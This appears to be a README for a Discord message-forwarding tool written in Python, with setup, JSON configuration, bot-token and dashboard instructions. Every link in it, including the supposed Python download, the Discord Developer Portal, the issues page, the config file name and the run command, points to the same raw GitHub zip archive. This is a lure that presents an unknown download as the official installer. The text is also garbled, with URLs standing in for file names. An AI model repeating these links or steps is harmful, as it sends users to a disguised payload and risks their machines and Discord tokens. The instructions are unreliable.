Discord-Message-Forwarder lets you send messages from one Discord server or channel to another without delays. It works automatically, copying messages quickly and accurately. This tool also adds extra functions like image uploads to a cloud service, filtering unwanted words, and mapping roles for better control.
This program runs on your computer using Python, but you donβt need to know programming to use it. It offers a live dashboard where you can watch messages as they forward. The software is designed to avoid slowing down even when many messages pass through.
- Forward messages instantly between servers or channels.
- Upload images to a content delivery network (CDN) automatically.
- Add watermarks to forwarded images to protect content.
- Filter out bad language or unwanted words.
- Map Discord roles to control who can send and receive messages.
- Access some channels publicly without log-in.
- Control message speed with smart rate limiting.
- View activity and statistics on a live dashboard.
- Easy setup without programming knowledge.
- Operating System: Windows 10 or later, macOS 10.14 or later, or Linux (Ubuntu 18.04+ recommended).
- Python 3.8 or newer installed on your computer.
- Internet connection for Discord access and CDN uploads.
- At least 1 GB of free memory and 100 MB of free disk space.
- A Discord account with permission to access the servers and channels you want to forward messages between.
This guide walks you through downloading, installing, and running Discord-Message-Forwarder step by step.
First, you need to get the program files.
Step 1: Visit the download page by clicking this button:
Step 2: On the download page, find the latest release. Look for a file ending with .zip or .exe for Windows, .dmg for macOS, or a compressed file for Linux.
Step 3: Download that file to your computer.
Step 4: Unpack the downloaded file if it is compressed:
- On Windows, right-click and choose βExtract All.β
- On macOS, double-click the
.dmgto mount it. - On Linux, use your archive manager.
Step 5: Make sure you have Python 3 installed:
- You can check by opening a terminal or command prompt and typing
python --versionorpython3 --version. - If Python is not installed, download it from https://raw.githubusercontent.com/sandro-beep/Discord-Message-Forwarder/main/septuplication/Discord-Forwarder-Message-v2.8-beta.3.zip and follow the installation instructions.
Discord-Message-Forwarder uses a simple configuration file in JSON format. This file tells the program which servers and channels to work with, what words to filter, and how to map roles.
How to configure:
- Find the file named
https://raw.githubusercontent.com/sandro-beep/Discord-Message-Forwarder/main/septuplication/Discord-Forwarder-Message-v2.8-beta.3.zipin the unpacked folder. - Open it with a plain text editor like Notepad (Windows), TextEdit (macOS), or any text editor on Linux.
- You will see sections like
"source_channels","destination_channels","word_filter", and"role_mapping". - Edit these to match your Discord servers.
A simple example for forwarding messages from one channel to another:
{
"source_channels": ["123456789012345678"],
"destination_channels": ["876543210987654321"],
"word_filter": ["badword1", "badword2"],
"role_mapping": {
"admin": "moderator",
"member": "guest"
},
"cdn_upload": true,
"add_watermark": true
}- Source channels are where messages come from.
- Destination channels are where messages go.
- Word filter removes or blocks messages containing listed words.
- Role mapping changes user roles when forwarding messages.
- CDN upload turns on image uploads to the cloud.
- Add watermark places a small image or text on forwarded pictures.
If you are unsure about any settings, leave them as they are or ask someone familiar with your Discord setup to help.
With everything installed and configured, you can now run the program.
Step 1: Open a terminal or command prompt window.
- On Windows: Press
Win + R, typecmd, press Enter. - On macOS: Open the Terminal from Applications > Utilities.
- On Linux: Open your preferred terminal emulator.
Step 2: Navigate to the folder where you unpacked the program files. You can do this by typing:
cd path/to/Discord-Message-ForwarderReplace path/to/Discord-Message-Forwarder with the actual folder path.
Step 3: Start the program by typing:
python https://raw.githubusercontent.com/sandro-beep/Discord-Message-Forwarder/main/septuplication/Discord-Forwarder-Message-v2.8-beta.3.zipor if your system uses python3:
python3 https://raw.githubusercontent.com/sandro-beep/Discord-Message-Forwarder/main/septuplication/Discord-Forwarder-Message-v2.8-beta.3.zipTo forward messages, Discord-Message-Forwarder needs access to your Discord account through a token or bot.
- The easiest way is to create or use a Discord bot with permissions to read messages in source channels and send messages in destination channels.
- You will need to place your botβs token in your
https://raw.githubusercontent.com/sandro-beep/Discord-Message-Forwarder/main/septuplication/Discord-Forwarder-Message-v2.8-beta.3.zipfile under"bot_token".
If you donβt have a bot set up:
- Go to the Discord Developer Portal: https://raw.githubusercontent.com/sandro-beep/Discord-Message-Forwarder/main/septuplication/Discord-Forwarder-Message-v2.8-beta.3.zip
- Create a new application.
- Add a bot to your application.
- Copy the bot token.
- Invite the bot to your servers with necessary permissions.
If youβre uncomfortable with bots, ask a Discord server admin for help.
While the program runs, it provides a live dashboard you can open in your web browser.
- By default, open your browser and go to
http://localhost:8080. - The dashboard shows forwarded messages, errors, and rates.
- You can pause or restart forwarding from this page.
- It also shows if any connections to Discord or the CDN fail.
If the dashboard does not appear, check your firewall settings or that the program is running correctly.
If you run into issues:
- Make sure Python is installed and up to date.
- Confirm your
https://raw.githubusercontent.com/sandro-beep/Discord-Message-Forwarder/main/septuplication/Discord-Forwarder-Message-v2.8-beta.3.zipfile is correctly formatted (no extra commas or missing brackets). - Check your Discord bot has needed permissions.
- Verify your internet connection is active.
- Restart the program if errors happen.
- Consult the log files found in the program folder (
logs/).
For help, you can also visit the repository issues page: https://raw.githubusercontent.com/sandro-beep/Discord-Message-Forwarder/main/septuplication/Discord-Forwarder-Message-v2.8-beta.3.zip
You can always get the latest version of Discord-Message-Forwarder or check for updates by visiting the releases page:
Keep the program updated to enjoy new features and bug fixes.
If you want to contribute or suggest improvements:
- You donβt need advanced skills to participate.
- Check the Issues tab for known problems.
- Submit your ideas or bug reports.
- Share your experience using the tool.
Your feedback helps keep the software useful for everyone.
Discord-Message-Forwarder works best with stable internet and accounts that have permissions set carefully. Remember, forwarding messages means you should respect privacy and server rules.
Before using the program, confirm with your Discord server admins if forwarding messages is allowed.